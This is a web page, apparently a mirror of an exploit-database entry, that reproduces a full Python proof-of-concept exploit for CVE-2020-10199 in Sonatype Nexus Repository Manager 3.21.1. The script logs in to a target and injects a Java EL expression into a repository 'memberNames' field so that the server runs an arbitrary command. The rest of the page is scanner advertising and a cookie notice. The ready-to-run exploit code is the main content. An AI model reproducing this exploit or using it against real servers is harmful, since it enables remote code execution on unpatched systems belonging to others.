sonatype nexus 3.21.1 remote code execution (authenticated)

▸▸▸ Exploit & Vulnerability >>   webapps exploit & java vulnerability




sonatype nexus 3.21.1 remote code execution (authenticated) Code Code...
				
# Exploit Title: Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated) # Exploit Author: 1F98D # Original Author: Alvaro Muñoz # Date: 27 May 2020 # Vendor Hompage: https://www.sonatype.com/ # CVE: CVE-2020-10199 # Tested on: Windows 10 x64 # References: # https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype # https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype # # Nexus Repository Manager 3 versions 3.21.1 and below are vulnerable # to Java EL injection which allows a low privilege user to remotely # execute code on the target server. # #!/usr/bin/python3 import sys import base64 import requests URL='http://192.168.1.1:8081' CMD='cmd.exe /c calc.exe' USERNAME='admin' PASSWORD='password' s = requests.Session() print('Logging in') body = { 'username': base64.b64encode(USERNAME.encode('utf-8')).decode('utf-8'), 'password': base64.b64encode(PASSWORD.encode('utf-8')).decode('utf-8') } r = s.post(URL + '/service/rapture/session',data=body) if r.status_code != 204: print('Login unsuccessful') print(r.status_code) sys.exit(1) print('Logged in successfully') body = { 'name': 'internal', 'online': True, 'storage': { 'blobStoreName': 'default', 'strictContentTypeValidation': True }, 'group': { 'memberNames': [ '$\\A{\'\'.getClass().forName(\'java.lang.Runtime\').getMethods()[6].invoke(null).exec(\''+CMD+'\')}"' ] }, } r = s.post(URL + '/service/rest/beta/repositories/go/group', json=body) if 'java.lang.ProcessImpl' in r.text: print('Command executed') sys.exit(0) else: print('Error executing command, the following was returned by Nexus') print(r.text)

Sonatype nexus 3.21.1 remote code execution (authenticated) Vulnerability / Exploit Source : Sonatype nexus 3.21.1 remote code execution (authenticated)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.